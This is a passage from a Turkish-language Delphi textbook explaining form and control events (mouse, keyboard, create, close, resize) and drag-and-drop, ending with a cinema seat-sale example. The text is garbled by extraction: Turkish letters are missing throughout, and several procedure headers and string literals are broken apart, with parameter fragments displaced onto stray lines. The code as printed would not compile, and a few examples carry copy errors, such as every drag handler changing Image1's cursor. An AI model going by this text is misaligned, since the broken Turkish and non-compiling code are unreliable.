procedure TForm2.Edit1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin if ((Button=mbLeft)and(Shift=[ssAlt])) Then//sol tu ve alt tuu basl ShowMessage('Al tuu baslyken Sol Tua Tkladnz'); End; OnMousUp Yordam: Kontroln zerinde basl olan mous tuunun braklmas sonucu otomatik olarak ileyen bir yordamdr. OnMousDown ile ayn karakteristik zellikleri tamaktadr. procedure TForm2.FormMouseUp(Sender: TMouseButton;Shift: TShiftState; X, Y: Integer); //Mous Yordamlar begin if Button=mbLeft Then ShowMessage('Sol Tuu Braktnz') else if Button=mbRight Then ShowMessage('SaTuu Braktnz') else if Button=mbMiddle Then ShowMessage('Orta Tuu Braktnz'); end; Prosedr ierisinde tanmlanan parametreler OnMousDown ile ayn olacaktr. Bu yzden tekrar izah edilmeye gerek grlmemitir. Aadaki rnekte mousun tklanlan noktas merkez kabul edilerek, gittike klen elipsler izdirilmektedir. Dilerseniz izgilerin renklerini de deitirebilirsiniz. TObject; Button:

560

procedure TForm3.FormMouseDown(Sender: TMouseButton; Shift: TShiftState; X, Y: Integer); {$j+} Const yaricap:Integer=10; var i:Integer; begin for i:=0 to 30 do begin Canvas.Ellipse(yaricap,yaricap,x,y);//iz yaricap:=yaricap+5; Sleep(1000);//bekle Form3.Caption:=IntToStr(i); end; end; OnMouseMove Yordam

TObject;

Button:

Yukardaki iki yordamdan fark mousun kontroln zerinde hareket etmesi durumunda otomatik olarak ileyecektir. Mous tularndan bir tanesinin tklanmas zorunluluu yoktur. Yordam daha iyi anlamak iin aadaki tasarm oluturarak programnz altrnz. Daha sonra Button kontrolne tklamaya aln baaramayacaksnz.

procedure TForm2.FormCreate(Sender: TObject); begin Button1.Caption:='Bana Tklayamazsn'; end;

561

procedure TForm2.FormMouseMove(Sender: TObject; Shift: TShiftState; X,Y: Integer); begin Button1.Left:=x+30; Button1.Top:=y-30; end; procedure TForm2.Button1Click(Sender: TObject); begin ShowMessage('Tebrikler'); end;

ayet tklayamadysanz size bir cinlik gstereyim. Buttonu yukardaki ekilde en keye gtrn, mousu formun zerinden atarak dolatrn. Artk tam buttonun zerindeyken seri tklarsanz uyar mesaj kullancya iletilecektir. OnClose Yordam Form kapatlrken otomatik olarak ileyen bir yordamdr. Prosedr ierisinde tanml olan Action parametresi ile kapatma seeneklerini belirleyebilirsiniz. procedure TForm3.FormClose(Sender: TCloseAction); var mesaj:Integer; begin mesaj:=Application.MessageBox('Kapatmak 'Kapan',mb_YesNo); if mesaj=mrNo Then begin ShowMessage('Kapatma Ilemi Iptal'); Action:=caNone;//kapatma ilemini iptal et end; end; TObject; var Action:

stediinizden

Eminmisiniz',

562

Action parametresinin alabilecei tm seenekler aada verilmitir.


Action caNone caHide caFree caMinimize Formu Gizle FormuYok Et Formu Minimize yap Kapatma Sonu Formu kapatma ilemini iptal Et

OnCreate Yordam Form altrld anda, kullanc henz mdahale etmemiken ileyen bir yordamdr. ifre kontrollerinizi kolaylkla bu yordamda yaptrabilirsiniz. Uygulamanz ilk alt anda Object Inspector penceresindeki ayarlar geerli olur, ardndan OnCreate yordamndaki atamalarnz gerekleecektir. Aada bu yordama ait rneklendirme yaplmaktadr. Uygulamanzda form yklendii anda kullancya ifre sorulacaktr. procedure TForm3.FormCreate(Sender: TObject); var sifre:AnsiString; dugme:Boolean; begin dugme:=InputQuery('ifreyi Giriniz','ifre',sifre); if dugme Then //Ok basarsa begin while(sifre<>'prestige')do begin dugme:=InputQuery('ifreyi Giriniz','ifre',sifre); end; end else begin ShowMessage('Program Kapatlacak'); Halt;//Kapat end; end; rneimizi biraz daha zorlatralm. Bu sefer kullancya hak verelim. ayet hakkn sonunda doru ifreyi bilemezse o zaman program sonlandralm. Unit pencerenizdeki kodu aadaki ekilde deitiriniz.

563

procedure TForm4.FormCreate(Sender: TObject); var sayi:Integer; sifre:AnsiString; dugme:Boolean; begin sayi:=1; dugme:=InputQuery('ifreyi Giriniz','ifre',sifre); if dugme Then //Ok basarsa begin while(sifre<>'prestige')do begin if sayi>=3 Then begin ShowMessage(' Hakknzdada Bilemediniz. Program Kapanacak'); Halt;//dngy ve program bitir. end else begin dugme:=InputQuery('ifreyi Giriniz','ifre',sifre); inc(sayi); end; end; end; else begin ShowMessage('Program Kapatlacak'); Halt;//Kapat end; end; OnEnter Yordam Kontroln Componente gemesiyle otomatik olarak ileyen bir yordamdr. kinci kez iletilebilmesi iin kontrol kaybedip tekrar almas gerekecektir. Aadaki rnekte Edit5 kontrol aktifletii anda Toplam Fiyat deeri hesaplanmakta, ardndan da uygun olan parasal formata dntrlmektedir. Kod blounu dikkatlice inceleyiniz.

564

Uygulama iin gerekli kontrolleri formunuza yerletirip aadaki tasarm oluturunuz.

Gerekli verileri girdikten sonra cursor Edit5 e geldii anda Toplam Fiyat otomatik olarak hesaplanacaktr. procedure TForm3.Edit5Enter(Sender: TObject); var adet:Integer; fiyat,topfiyat:Double; begin adet:=StrToInt(Edit2.Text); fiyat:=StrToInt(Edit4.Text); topfiyat:=adet*fiyat; Edit5.Text:=FloatToStrF(topfiyat,ffCurrency,14,2); Edit4.Text:=FloatToStrF(fiyat,ffCurrency,14,2); end; OnExit Yordam Aktiflik o kontrole getii anda OnEnter yordam ilemiti. Ayn mantkla kontrol aktif olma (cursor baka kontrolde ise) zelliini yitirdii anda da OnExit yordam ileyecektir. Bir kontroln aktifliini kaybetmesi Tab tuuna basarak, kodla baka bir kontrole Setfocus yaparak veya mous ile baka bir kontrole tklayarak gerekleebilmektedir. Yukardaki kod blounu Edit4 konytrolnn OnExit yordamna da yazabilirsiniz (daha doru olur mous ile baka bir kontrole tklaynca sonu yine hesaplanacaktr). 565

procedure TForm3.Edit4Exit(Sender: TObject); var adet:Integer; fiyat,topfiyat:Double; begin adet:=StrToInt(Edit2.Text); fiyat:=StrToInt(Edit4.Text); topfiyat:=adet*fiyat; Edit5.Text:=FloatToStrF(topfiyat,ffCurrency,14,2);//formatla yaz Edit4.Text:=FloatToStrF(fiyat,ffCurrency,14,2);//formatla yaz end; OnActivate Yordam OnCreate yordam gibi form yklenirken deil, yklendikten sonra iler. Dier bir fark da, OnCreate yordamnn ikinci kez iletilebilmesi iin formun kapatlp tekrar almas gerekmektedir. OnActivate yordam ise ikinci bir formu aktifletirdikten sonra tekrar bu forma tklanmas sonucu, yeniden ileyecektir. procedure TForm3.FormActivate(Sender: TObject); {$j+} const deger:Integer=0; begin Form3.Caption:=IntToStr(deger); inc(deger); end; procedure TForm3.Button1Click(Sender: TObject); begin Form2.show; end; Programnz altrdnz zaman balkta 0 deerini greceksiniz. Buttona tklayp form2 yi aktif hale getirin, ardndan mous ile tekrar ilk forma tklarsanz OnActivate yordam tekrar ileyecek, balkta 1 deeri yazacaktr. Program altrdktan sonra NotePad i altrp tekrar ana forma tklarsanz OnActivate yordam tekrar iletilmeyecektir. Yordamn tekrar ilemesi iin formun kapatlp almas veya uygulamadaki dier bir forma geip tekrar geriye dnlmesi gerekmektedir.

566

OnDeactivate Yordam Formun aktif olma (en stte) zelliini yitirmesi durumunda otomatik olarak ileyen bir yordamdr. Baka bir formu amak veya formu kapatmak bu yordam otomatik olarak iletecektir. procedure TForm3.Button1Click(Sender: TObject); begin Form2.show; end; procedure TForm3.FormDeactivate(Sender: TObject); begin ShowMessage('Baka Bir Form altrld'); end; Yukardaki projede button kontrolne tklarsanz ikinci bir form alacak, dolaysyla ilk form aktifliini yitirecektir. Aktifliini yitiren formun OnDeactivate yordam ileyerek, buradaki kod blou alacaktr. OnDragDrop-OnDragEnd-OnDragOver Srkle brakla ilgili kod bloklarnz yazabileceiniz yordamlardr. Bu yordamlara ait gelimi rnekleri Drag and Drop blmnde bulabilirsiniz. Bu yzden burada tekrar deinilmeyecektir. OnResize Yordam Kontroln boyutlarnn deimesi durumunda otomatik olarak ileyen yordamdr. Aadaki kodu OnActivate yordamna yazarsanz, uygulamanz alt anda Edit kontrol form zerinde ortalanacak, fakat daha sonra formun boyutlarnda deiiklik yaparsanz simetri ortadan kalkacaktr. Bu kodu OnResize yordamna yazmanz, formun boyutlarnda olabilecek her deiiklikte kodun ilemesini salayacak dolaysyla kontrol formun zerinde hep ortalanm olacaktr. procedure TForm3.FormResize(Sender: TObject); //Hep ortada kal var deger:Double; begin deger:=(Form3.Width-Button1.Width)/2; Button1.Left:=ceil(deger); end; 567

Klavye Tu Vurularyla Tetiklenen Yordamlar: Kod blounuzu klavyeden basacanz zel bir tutan sonra iletmek isteyebilirsiniz. Bu gibi durumlarda kodlarnz rasgele Event (yordam) lara yazamazsnz. Delphi bu hususta sizlere farkl yordam sunmaktadr. Aada bu yordamlar detayl olarak incelenmektedir. OnKeyDown Yordam Klavyeden herhangi bir tua baslmas durumunda otomatik olarak ileyen bir yordamdr. Baslan tuun yordam iin nemi yoktur. Her tu iin ileyecektir. ayet basilan tu nem arz edecekse, yani A tuuna basnca ilemesin, sadece B tuuna basnca ilesin derseniz o zaman prosedr ierisinde tanmlanm olan Key parametresinden faydalanmalsnz. Aadaki rnekte sadece A ve B tular iin grev tanmlanmtr. Sadece bu tulara tklarsanz kullancya uyar iletebilirsiniz. procedure TForm5.Edit1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key=Ord('A') Then //A tuuna baslrsa ShowMessage('A Tuuna Bastnz') else if Key=Ord('B') Then //B Tuuna baslrsa ShowMessage('B Tuuna Bastnz'); end; Kod blouna dikkat ettiyseniz Key diye bir parametreden faydalanlmtr. Bu parametrenin prosedr ierisinde word tipli tanmlanm bir deiken olduunu dikkatinizden karmaynz. Rasgele bir yordamda bu parametreyi kullanrsanz hata mesajyla karlarsnz. Ayn kodu aadaki ekilde de yazabilirdiniz. procedure TForm5.Edit1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (Key=VK_LEFT) Then //A tuuna baslrsa ShowMessage('Sol Yn Tuuna Bastnz') else if Key=VK_RIGHT Then //B Tuuna baslrsa ShowMessage('Sa Yn Tuuna Bastnz'); end; Burada baslan tuu yazdrmak iin aadaki kodu kullanabilirsiniz. 568

procedure TForm5.Edit1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin Form5.Caption:=Chr(Key);//Baslan tuu balkta yaz end; Program altrp herhangi bir tua tklarsanz, bastnz tu formunuzun balnda yazacaktr. Aadaki Tabloda Key parametresiyle gsterilebilecek olan karakterler verilmitir.
Tu A-Z Insert Home PageUp Pause NumLock Esc * + Sol Yn Yukar Yn 0-9 Enter Del End PageDown ScrollLock BacSpace / Space Sa Yn Aa Yn F1-F24 0-9 CapsLock Ctrl Tab VK_INSERT VK_HOME Vk_PRIOR VK_PAUSE Vk_NUMLOCK VK_ESCAPE VK_MULTIPLY VK_ADD VK_LEFT VK_DOWN VK_0 VK_9 Vk_RETURN Vk_DELETE VK_END VK_NEXT VK_SCROLL VK_BACK VK_DIVIDE VK_SUBTRACT VK_SPACE VK_RIGHT VK_UP VK_F1-VK_F24 VK_NUMPAD0-VK_NUMPAD9 VK_CAPITAL VK_CONTROL Vk_TAB Key Ord(A)-Ord(Z) veya VK_A VK_Z

Bu deerleri grebilmeniz iin Ctrl tuu basl iken mousun sol tuuna tklarsanz Ascii deerleriyle beraber tm seeneklere ulaabilirsiniz.

569

Dikkatinizi ekmitir prosedr ierisinde tanml olan Shift isminde baka bir deiken daha var. Bu deiken ile Ctrl+Alt+Shift tularn kullanarak maske tanmlayabilirsiniz. Yani bir kodu A tuuna basnca deilde Alt tuuyla beraber A tuuna basarsanz iletme imkann yaratabilirsiniz. Aadaki rnekte Alt tuuyla beraber Enter tuunada baslrsa belirtilen mesajla kullancy uyarabilirsiniz. procedure TForm5.Edit2KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (Shift=[ssAlt]) and (Key=VK_RETURN) Then//Alt tuu ile beraber Enter ShowMessage('Tamam'); end; Aadaki rnekte de Alt+Shift+Enter tular beraber kullanlrsa kullanc belirtilen mesajla uyarlabilecektir. procedure TForm5.Edit2KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (Shift=[ssAlt,ssShift]) and (Key=VK_RETURN) Then//Alt+Shift+Enter bas ShowMessage('Tamam'); end; Shift Parametresinin alabilecei deerler aada tablo halinde verilmitir.
Shift ssAlt ssShift ssCtrl ssLeft ssMiddle ssDouble Alt Tuu Baslyken Shift Tuu Baslyken Control Tuu Baslyken Mousun Spol Tuu Basl Mousun Orta Tuu Basl Mousun sol ve sa tuu Basl Sonu

Aadaki rnekte Alt+Ctrl +Enter tular beraber kullanlmaktadr. procedure TForm5.Edit2KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (Shift=[ssAlt,ssCtrl]) and (Key=VK_RETURN) Then ShowMessage('Tamam'); end; 570

Aadaki rnekte yn tular kullanlarak kontrol hareket ettirilmektedir. Hareket srasnda tuun basl tutulmas yeterli olacaktr. Formunuzun Keypreview zelliini true yapp aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm5.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key=VK_LEFT Then Edit1.Left:=Edit1.Left-50 //sola else if Key=VK_RIGHT Then Edit1.Left:=Edit1.Left+50 //saa else if Key=VK_DOWN Then Edit1.Top:=Edit1.Top+50 //aa else if Key=VK_UP Then Edit1.Top:=Edit1.Top-50; //yukar end; Burada yeri gelmiken hatrlatalm OnKeyDown yordam tu basl tutulduu srece devaml olarak iletilecektir. OnKeyUp Yordam Bu yordamn karakteristik zellikleri OnKeyDown yordamyla tamamen ayndr. Ayn kodlar bu yordamada yazabilirsiniz. Aralarndaki tek fark, OnKeyUp yordam baslan tuun braklmas annda tek bir kere iletilecektir. OnKeyDown yordamndaki tm parametreler aynen burada kullanlabilmektedir. OnKeyPress Yordam Bu yordam da klavyeden herhangi bir tua baslmas durumunda otomatik olarak ileyecektir. zel kontroller koyarak istediiniz tua baslmas durumunda kod blounuzu iletebilirsiniz. Aadaki rnekte Edit kutusuna byk harfle giri engellenmektedir. procedure TForm5.Edit3KeyPress(Sender: TObject; var Key: Char); begin if (Key>=#65) and (Key<=#90) Then Key:=#0;//Baslan Tuu ptal Et end; 571

Aadaki rnekte de sadece rakam giriine izin veren bir Edit kontrol oluturulmaktadr. procedure TForm5.Edit3KeyPress(Sender: TObject; var Key: Char); //Rakam Deilse ptal Et begin if (Key>=#58) or (Key<=#47) Then Key:=#0;//Baslan Tuu ptal Et end; Veya ayn kodu aadaki ekilde de yazabilirsiniz. procedure TForm5.Edit4KeyPress(Sender: TObject; var Key: Char); begin if (Key>=Chr(58)) or (Key<=Chr(47)) Then Key:=#0; end; Burada OnKeyDown ile OnKeyPress yordamlar arasndaki farktan bahsetmek istiyorum. OnKeyPress yordam OnKeyDown yordamndan hemen sonra iler (OnKeyUp tan hemen nce). kinci farklar ise prosedr ierisinde tanmlanan Key parametresi OnKeyPress yordamnda Char tipli, OnKeyDown yordamnda ise tamsay tipli bir deikendir. Yani OnKeyDown yordamnda Key:=#0; satrn kullanamazsnz. Aadaki gibi bir kodla sadece byk ve kk harf giriine izin veren bir Edit kontrol yaratabilirsiniz. procedure TForm5.Edit5KeyPress(Sender: TObject; var Key: Char); //Sadece karakter giriine izin ver begin if not((Key>=#65) and (Key<=#123)) Then Key:=#0; end; Uyar:Klavyeden baslan tular tetikleyici olarak kullanacaksanz, Kodlarnz bu yordam dan bir tanesine yazmalsnz. Dier yordamlar baslan tuun ne olduunu alglamayacaktr.

572

OnDestroy Yordam Kontrol bellekten atlrken otomatik olarak ileyen bir yordamdr. Normal artlarla kapatlan bir formun OnDestroy yordam iletilmez. Aadaki kodlamada Free komutu kullanlarak form yok edilmekte, bu durum event n iletilmesini salamaktadr. procedure TForm5.FormDestroy(Sender: TObject); begin ShowMessage('Tamam'); end; procedure TForm5.Button1Click(Sender: TObject); begin Form5.Free;//OnDestroy yordamn ilet end; Butona tkladktan sonra size bir uyar gelebilir nemsemeyin. OnShow Yordam Formun kullanc tarafndan grnebilir hal almas bu yordam otomatik olarak iletecektir. Hide komutundan sonra verilecek olan Show komutuda bu yordamn iletilmesi iin yeterli olacaktr. procedure TForm5.FormShow(Sender: TObject); begin ShowMessage('Form Gsterimde'); end; Bu rnei altrabilmeniz iin formunuzu baka bir formdan gizleyip gstermelisiniz. OnHide Yordam Formun gizlenmesi durumunda otomatik olarak ileyen bir yordamdr. procedure TForm5.FormHide(Sender: TObject); begin ShowMessage('Form Gizlendi'); end; Program altrp, baka bir formdan dier formu gizleyin (Hide komutuyla). 573

574

BLM 15 DELPHIDE DRAG & DROP

575

576

Drag & Drop (Srkle-Brak): Drag-Drop olay mous tuu baslyken bir kontrol srkleyip dierinin zerine braklmas sonucu oluur. Srkleme ilemi genellikle OnMousDown veya OnMousMove yordamndan tetiklenir. Aadaki gibi bir kodla ListBox kontrol zrinde iken mousun sol tuuna baslmasyla Drag-Drop ilemini balatabilirsiniz. procedure TForm1.ListBox1MouseDown(Sender: TMouseButton; Shift: TShiftState; X, Y: Integer); begin if Button=mbLeft Then ListBox1.BeginDrag(true);//srklemeyi balat end; TObject; Button:

Object Inspector penceresinden DragMode zelliine dmAutomatic deerini aktarrsanz her halkarda srkleme ilemi yapabilirsiniz (biz kodla yaplmasn tavsiye ediyoruz). kinci olarak kaynan braklaca kontroln OnDragOver yordamnda ieriklerin uyuup uyumadn kontrol etmelisiniz. Sebebi ok basittir srklenen kaynak bir resimse ve siz bu resmi bir ListBox kontrol zerine brakrsanz sonu hayal krkl yaratacaktr. Bu yzden kaynak (source) ile braklacak nesnenin veri tiplerinin ayn olmasna dikkat ediniz. Aadaki ekilde bu kontrol gerekletirebilirsiniz. procedure TForm1.ListBox2DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=ListBox2 Then//srklenen listBox ise brakmaya izin ver Accept:=true; end; Koda dikkat edecek olursanz srklenen kaynan tipi kyaslanmaktadr. ayet srklenen nesne bir ListBox ise o zaman ieriini zerine brakmasna izin verecektir. Bunu salayan satrda, prosedr ierisinde tanmlanan Boolean tip Accept deikenidir. Bu deikene true deerini aktarrsanz tipler uyuyor nesne zerine braklabilir anlam tayacaktr. ayet srklenen nesne bir resim olsayd burada Accept deikenine false deerini aktarmanz gerekecekti. 577

Son adm olarak braklacak nesnenin OnDragDrop yordamna yazacanz kodla kaynak iin gerekli ilemleri yaptrabilirsiniz. Aadaki gibi bir kod blou kullanrsanz ListBox1 nesnesinden srklemeye balayacanz satr ListBox2 kontrolne aktarabilirsiniz. Bu yntem bir ok profesyonel uygulamada ska kullanlmaktadr. procedure TForm1.ListBox2DragDrop(Sender, Source: TObject; X, Y: Integer); begin ListBox2.Items.Add((source as TListBox).Items.Strings[ListBox1.itemIndex]) end; imdi aadaki tasarm oluturup gerekli kodlarda Unit penceresine giriniz.

procedure TForm1.ListBox1MouseDown(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer); begin if Button=mbLeft Then//mousun sol tuuna tklanrsa ListBox1.BeginDrag(true);//srkleme balasn end; procedure TForm1.ListBox2DragDrop(Sender, Source: TObject; X, Y: Integer); begin ListBox2.Items.Add((source as TListBox).Items.Strings[ListBox1.itemIndex]) //srklenen satr ekle end; 578

procedure TForm1.ListBox2DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=ListBox2 Then//srklenen nesne ListBox ise Accept:=true;//kayna brakmaya izin ver end; Programnz altrp sol taraftaki ListBox kontrolndeki srkleyerek ikinci ListBox kontrol zerine braknz. satrlar

ayet kayna braktnz satra (araya ekle) eklemek isterseniz o zaman kodunuzu aadaki ekilde deitirmelisiniz. procedure TForm1.ListBox1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); //Balat begin if Button=mbLeft Then ListBox1.BeginDrag(true);//srklemeyi balat end; procedure TForm1.ListBox3DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=ListBox1 Then Accept:=true;//srklenen list ise brakmaya izin ver end; procedure TForm1.ListBox3DragDrop(Sender, Source: TObject; X, Y: Integer); var nokta:TPoint; satir:Integer; begin nokta.X:=x; nokta.Y:=y; satir:=ListBox3.ItemAtPos(nokta,true);//zerinde bulunduu satr numaras
ListBox3.Items.Insert(satir,(source as TListBox).Items.Strings[ListBox1.itemIndex]);

end;

579

Her ne kadar rnekler yeterli derecede aklayc olsada biz yinede kullandmz Srkle-Brak a ait komutlara tekrar bir gz atalm. BeginDrag DragMode deerinin dmManual olduu durumlarda (biz byle olmasn tavsiye ediyoruz) srkleme ilemini balatan komuttur. Balatma ilemi parametre olarak true deerinin aktarlmas ile olur. Genellikle de OnMousDown yordamna eklenir. ListBox1.BeginDrag(true);//srklemeyi balat (source as TListBox).Items.Strings[ListBox1.itemIndex] Srklenen kaynaa ait ieriin tutulduu methoddur. Text verileri iin farkl (yukarda rnek verilmitir), resimler iin farkl (rnek verilecektir) vs olacaktr. Bu satr OnDragDrop yordamna yazlmaldr.
ListBox3.Items.Insert(satir,(source as TListBox).Items.Strings[ListBox1.itemIndex]);

Bu satr sayesinde ListBox1 den seilmi olan satr ListBox2 ye eklenmektedir. DragCursor Srkleme ilemi yaplrken cursor n alaca ekil bu zellikle belirlenir. Aada alabilecei tm seenekler verilmitir.

Bu zellikte dikkat edeceiniz husus srklenen nesneden sonra belirleneceidir.

580

procedure TForm1.ListBox3DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=ListBox1 Then begin Accept:=true; ListBox1.DragCursor:=crHandPoint;//cursor deisin end; end; Yukardaki kodda sadece ListBox1 den srklenme balarsa Cursor seklini deitirecektir. Dragging Birden fazla kontrolden srklenme ilemi balatlabiliyorsa bu zellik son derece nem arz edecektir. nk srklenen nesnenin hangisi olduu, dolaysyla ne tr bir ilemin uygulanaca bu zellik tarafndan belirlenebilmektedir. procedure TForm1.ListBox3DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if ListBox1.Dragging=True Then begin Accept:=true; ListBox1.DragCursor:=crHandPoint; end else if Image1.Dragging Then begin Accept:=false;//izin verme Image1.DragCursor:= crNo; end; end; OnDragOver Yordam Srklenen nesne kontroln zerinden geerken bu yordam otomatik olarak iler. Prosedrde tanml bulunan Accept parametresi, zerinden geilen

581

kontrole ieriin braklp braklmayacan belirler. True deerinin aktarlmas kaynan nesne zerine braklabilecei anlamn tamaktadr. procedure TForm1.ListBox3DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=ListBox1 Then Accept:=true;//srklenen list ise brakmaya izin ver end; Prosedrde tanml olan x ve y deikenleri mousun kontrol zerinde o anda bulunduu koordinat deerlerini tutmaktadr.Bu koordinatlar bazen son derece iinize yaryabilir. OnDragDrop Yordam Srklenen Nesne kontroln zerine brakld zaman bu yordam otomatik olarak ileyecektir. Gerekli olan tm kodlar buraya yazlabilir. procedure TForm1.ListBox3DragDrop(Sender, Source: TObject; X, Y: Integer); //Araya Ekle var nokta:TPoint; satir:Integer; begin nokta.X:=x; nokta.Y:=y; satir:=ListBox3.ItemAtPos(nokta,true);//zerinde bulunduu satr numaras
ListBox3.Items.Insert(satir,(source as TListBox).Items.Strings[ListBox1.itemIndex]);

end; Drag & Drop ilemlerini daha iyi anlayabilmeniz iin aadaki rnei dikkatlice inceleyiniz. Uygulamay bir sinema iin tasarladm ve hala aktif olarak kullanlmaktadr. Kullanlan tasarm burada sadece ematize edilmi olup tabiiki resimleri ve grnts ok daha farkl olarak oluturulmutur. Programda Image kontrol srklenip koltuklarn zerine brakld anda, o koltuun satldna dair uyar ListBox kontrol ierisine eklenmektedir. Tekrar ayn koltuun satn engellemek amal koltuk aktifliini kaybedecek bir daha srkle brak olayna izin vermeyecektir. 582

Gelelim bilet iptal dmesine, kullanc iptal edilecek olan koltuk numarasn girdikten sonra o numara ListBox ierisinde bulunup siliniyor, ardndan ListBox tan silinen koltua tekrar satlabilsin diye aktiflii geri kazandrlmaktadr. Aadaki tasarm oluturunuz.

Formunuza sekiz (8) adet panel, on (10) adet Image, bir (1) adet ListBox, bir (1) adet GroupBox, bir (1) adette Button kontrol yerletirin. Gerekli olan tm kod aada verilmitir. procedure TForm2.FormCreate(Sender: TObject); begin Image10.Visible:=false;//Gizle end; procedure TForm2.Image9MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin if Button=mbLeft Then Image9.BeginDrag(true); //srkleme ilemi balasn end; procedure TForm2.Image1DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean);

583

begin if Source=Image9 Then begin Accept:=true;//Brakmaya izin ver Image1.DragCursor:=crHandPoint; end; end; procedure TForm2.Image1DragDrop(Sender, Source: TObject; X, Y: Integer); begin Image1.Picture:=(Source as TImage).Picture; Image1.Enabled:=false;//ikinci kez satlamasn ListBox1.Items.Add('1 Numaral koltuk satld'); end; procedure TForm2.Image2DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=Image9 Then begin Accept:=true;//Brakmaya izin ver Image1.DragCursor:=crHandPoint; end; end; procedure TForm2.Image2DragDrop(Sender, Source: TObject; X, Y: Integer); begin Image2.Picture:=(Source as TImage).Picture; Image2.Enabled:=false;//ikinci kez satlamasn ListBox1.Items.Add('2 Numaral koltuk satld'); end; procedure TForm2.Image3DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=Image9 Then begin Accept:=true;//Brakmaya izin ver Image1.DragCursor:=crHandPoint; end; end;

584

procedure TForm2.Image4DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=Image9 Then begin Accept:=true;//Brakmaya izin ver Image1.DragCursor:=crHandPoint; end; end; procedure TForm2.Image5DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=Image9 Then begin Accept:=true;//Brakmaya izin ver Image1.DragCursor:=crHandPoint; end; end; procedure TForm2.Image6DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=Image9 Then begin Accept:=true;//Brakmaya izin ver Image1.DragCursor:=crHandPoint; end; end; procedure TForm2.Image7DragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); begin if Source=Image9 Then begin Accept:=true;//Brakmaya izin ver Image1.DragCursor:=crHandPoint; end; end; procedure TForm2.Image8DragOver(Sender, Source: TObject; X, Y: Integer; 585

State: TDragState; var Accept: Boolean); begin if Source=Image9 Then begin Accept:=true;//Brakmaya izin ver Image1.DragCursor:=crHandPoint; end; end; procedure TForm2.Image3DragDrop(Sender, Source: TObject; X, Y: Integer); begin Image3.Picture:=(Source as TImage).Picture; Image3.Enabled:=false;//ikinci kez satlamasn ListBox1.Items.Add('3 Numaral koltuk satld'); end; procedure TForm2.Image4DragDrop(Sender, Source: TObject; X, Y: Integer); begin Image4.Picture:=(Source as TImage).Picture; Image4.Enabled:=false;//ikinci kez satlamasn ListBox1.Items.Add('4 Numaral koltuk satld'); end; procedure TForm2.Image5DragDrop(Sender, Source: TObject; X, Y: Integer); begin Image5.Picture:=(Source as TImage).Picture; Image5.Enabled:=false;//ikinci kez satlamasn ListBox1.Items.Add('5 Numaral koltuk satld'); end; procedure TForm2.Image6DragDrop(Sender, Source: TObject; X, Y: Integer); begin Image6.Picture:=(Source as TImage).Picture; Image6.Enabled:=false;//ikinci kez satlamasn ListBox1.Items.Add('6 Numaral koltuk satld'); end; procedure TForm2.Image7DragDrop(Sender, Source: TObject; X, Y: Integer); begin Image7.Picture:=(Source as TImage).Picture; Image7.Enabled:=false;//ikinci kez satlamasn ListBox1.Items.Add('7 Numaral koltuk satld'); 586

end; procedure TForm2.Image8DragDrop(Sender, Source: TObject; X, Y: Integer); begin Image8.Picture:=(Source as TImage).Picture; Image8.Enabled:=false;//ikinci kez satlamasn ListBox1.Items.Add('8 Numaral koltuk satld'); end; procedure TForm2.Button1Click(Sender: TObject); var koltuk:AnsiString; i,adet:Integer; begin adet:=ListBox1.Items.Count; koltuk:=InputBox('ptal Edilecek Koltuk Numarasn Giriniz','ptal',''); for i:=0 to adet-1 do begin if ListBox1.Items[i]=koltuk+' Numaral koltuk satld' Then begin ListBox1.Items.Delete(i); //koltuu sil ShowMessage(koltuk+' Numaral Koltuk ptal Edildi'); if koltuk='1' Then begin Image1.Enabled:=true;//tekrar satlabilir Image1.Picture:=Image10.Picture;//Eski resmi al end else if koltuk='2' Then begin Image2.Enabled:=true;//tekrar satlabilir Image2.Picture:=Image10.Picture;//Eski resmi al end else if koltuk='3' Then begin Image3.Enabled:=true;//tekrar satlabilir Image3.Picture:=Image10.Picture;//Eski resmi al end else if koltuk='4' Then begin Image4.Enabled:=true;//tekrar satlabilir Image4.Picture:=Image10.Picture;//Eski resmi al end else if koltuk='5' Then 587

begin Image5.Enabled:=true;//tekrar satlabilir Image5.Picture:=Image10.Picture;//Eski resmi al end else if koltuk='6' Then begin Image6.Enabled:=true;//tekrar satlabilir Image6.Picture:=Image10.Picture;//Eski resmi al end else if koltuk='7' Then begin Image7.Enabled:=true;//tekrar satlabilir Image7.Picture:=Image10.Picture;//Eski resmi al end else if koltuk='8' Then begin Image8.Enabled:=true;//tekrar satlabilir Image8.Picture:=Image10.Picture;//Eski resmi al end; break; end ; end; end;

588

Uygulamaya ait en son durum yukarda verilmitir. Satlan koltuklarn farkl resimler ierdii sanyorum dikkatinizi ekmitir. Satlan bir koltuu Bilet ptal dmesine tklayarak iptal edebilir, baka bir mteriye tekrar satabilirsiniz.

